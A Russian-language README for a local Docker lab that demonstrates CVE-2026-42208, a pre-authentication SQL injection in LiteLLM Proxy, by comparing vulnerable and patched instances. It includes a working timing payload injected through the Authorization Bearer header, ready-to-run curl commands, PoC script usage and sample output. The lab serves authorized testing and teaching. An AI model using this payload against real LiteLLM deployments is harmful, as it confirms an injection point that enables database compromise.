
Локальная Docker-лаборатория и proof-of-concept, основанный на анализе времени, для CVE-2026-42208 — предварительной SQL-инъекции в LiteLLM Proxy, демонстрирующий уязвимые и пропатченные экземпляры.
Локальный Docker-лабораторный стенд и PoC с минимальным вредом для CVE-2026-42208 — уязвимости SQL-инъекции до аутентификации в пути проверки API-ключей LiteLLM Proxy.
Этот репозиторий демонстрирует разницу между уязвимым экземпляром LiteLLM и пропатченным экземпляром LiteLLM с помощью таймингового доказательства на основе PostgreSQL pg_sleep().
Область применения: только локальная лаборатория / авторизованное тестирование. PoC по умолчанию не извлекает данные из базы данных и не изменяет данные базы данных.
CVE-2026-42208 затрагивает версии LiteLLM Proxy 1.81.16 и более ранние версии до 1.83.7.
Уязвимость срабатывает через специально сформированный заголовок Authorization: Bearer ..., отправленный на конечную точку API LiteLLM. В затронутых версиях токен, предоставленный вызывающей стороной, может попасть в путь SQL-запроса при проверке API-ключа.
Этот стенд сравнивает:
| Сервис | Версия | URL | Ожидаемый результат |
|---|
vuln | v1.83.6-nightly | http://127.0.0.1:8081 | задержанный ответ 401 |
patched | v1.83.7-stable | http://127.0.0.1:8082 | быстрый ответ 401 |
Доказательство использует полезную нагрузку, аналогичную:
' OR (SELECT pg_sleep(6)) IS NULL --
Оба сервиса должны возвращать HTTP 401, но уязвимый экземпляр должен отвечать примерно 6 секунд, а пропатченный — быстро.
.
├── docker-compose.yml
├── vuln/
│ ├── Dockerfile
│ └── config.yaml
├── patched/
│ ├── Dockerfile
│ └── config.yaml
├── poc/
│ └── poc.py
├── README.md
└── .gitignore
localhost:8081 -> уязвимый LiteLLM -> PostgreSQL db-vuln
localhost:8082 -> пропатченный LiteLLM -> PostgreSQL db-patched
Сервисы PostgreSQL являются внутренними Docker-сервисами и не доступны с хоста.
Наружу открыты только HTTP-порты LiteLLM:
| Порт хоста | Сервис | Порт контейнера |
|---|---|---|
8081 | уязвимый LiteLLM | 4000 |
8082 | пропатченный LiteLLM | 4000 |
docker compose up -d --build
Проверка статуса сервисов:
docker compose ps
Ожидаемый статус:
db-vuln healthy
db-patched healthy
vuln healthy
patched healthy
Тест уязвимого экземпляра:
python3 poc/poc.py --url http://127.0.0.1:8081
Тест пропатченного экземпляра:
python3 poc/poc.py --url http://127.0.0.1:8082
--url Базовый URL цели
--path Путь API для тестирования. По умолчанию: /v1/chat/completions
--sleep Секунды для pg_sleep(). По умолчанию: 6
--rounds Количество раундов проверки. По умолчанию: 2
Примеры:
python3 poc/poc.py --url http://127.0.0.1:8081 --sleep 3 --rounds 2
python3 poc/poc.py --url http://127.0.0.1:8081 --path /chat/completions
Уязвимый экземпляр:
[*] target=http://127.0.0.1:8081
[*] path=/v1/chat/completions
[*] sleep=6
[*] rounds=2
[*] Running baseline request
[baseline] status=401 elapsed=0.041s body='...'
[*] Running timing probes
[probe] round=1 status=401 elapsed=6.048s body='...'
[probe] round=2 status=401 elapsed=6.033s body='...'
[*] Verdict
baseline=0.041s
probe_median=6.040s
delta=5.999s
result=LIKELY VULNERABLE
reason=crafted Authorization header caused a timing delay consistent with SQL evaluation
Пропатченный экземпляр:
[*] target=http://127.0.0.1:8082
[*] path=/v1/chat/completions
[*] sleep=6
[*] rounds=2
[*] Running baseline request
[baseline] status=401 elapsed=0.025s body='...'
[*] Running timing probes
[probe] round=1 status=401 elapsed=0.030s body='...'
[probe] round=2 status=401 elapsed=0.013s body='...'
[*] Verdict
baseline=0.025s
probe_median=0.021s
delta=-0.004s
result=LIKELY PATCHED_OR_NOT_TRIGGERED
reason=no meaningful timing difference observed
Пример результата этого стенда:
[probe] vuln round=1 status=401 elapsed=6.048s
[probe] vuln round=2 status=401 elapsed=6.033s
[probe] patched round=1 status=401 elapsed=0.030s
[probe] patched round=2 status=401 elapsed=0.013s
vuln: LIKELY VULNERABLE timing median=6.040s
patched: LIKELY PATCHED/NOT TRIGGERED timing median=0.021s
Важное наблюдение: оба сервиса возвращают 401, но только уязвимый сервис задерживает ответ примерно на длительность pg_sleep().
В этом репозитории используется тайминговое доказательство, потому что оно безопаснее, чем извлечение данных.
PoC доказывает, что внедрённое SQL-выражение выполняется, наблюдая за задержкой ответа. Он не пытается извлечь строки из базы данных, получить API-ключи, изменить записи или обойти аутентификацию.
Уязвимый сервис:
time curl -sS -o /dev/null -w '%{http_code}\n' \
-X POST http://127.0.0.1:8081/v1/chat/completions \
-H "Authorization: Bearer ' OR (SELECT pg_sleep(6)) IS NULL --" \
-H "Content-Type: application/json" \
-d '{"model":"local-dummy","messages":[{"role":"user","content":"x"}]}'
Пропатченный сервис:
time curl -sS -o /dev/null -w '%{http_code}\n' \
-X POST http://127.0.0.1:8082/v1/chat/completions \
-H "Authorization: Bearer ' OR (SELECT pg_sleep(6)) IS NULL --" \
-H "Content-Type: application/json" \
-d '{"model":"local-dummy","messages":[{"role":"user","content":"x"}]}'
Ожидаемое поведение:
vulnerable -> approximately 6 seconds
patched -> near-immediate response
docker compose down -v
Это удаляет контейнеры, сеть и тома PostgreSQL.
Этот стенд предназначен только для локального и авторизованного тестирования.
Не запускайте PoC против систем, которыми вы не владеете или на тестирование которых у вас нет разрешения.
Не используйте реальные API-ключи провайдеров или производственные учётные данные LiteLLM в этом стенде.
PoC по умолчанию избегает деструктивного поведения и не извлекает содержимое базы данных.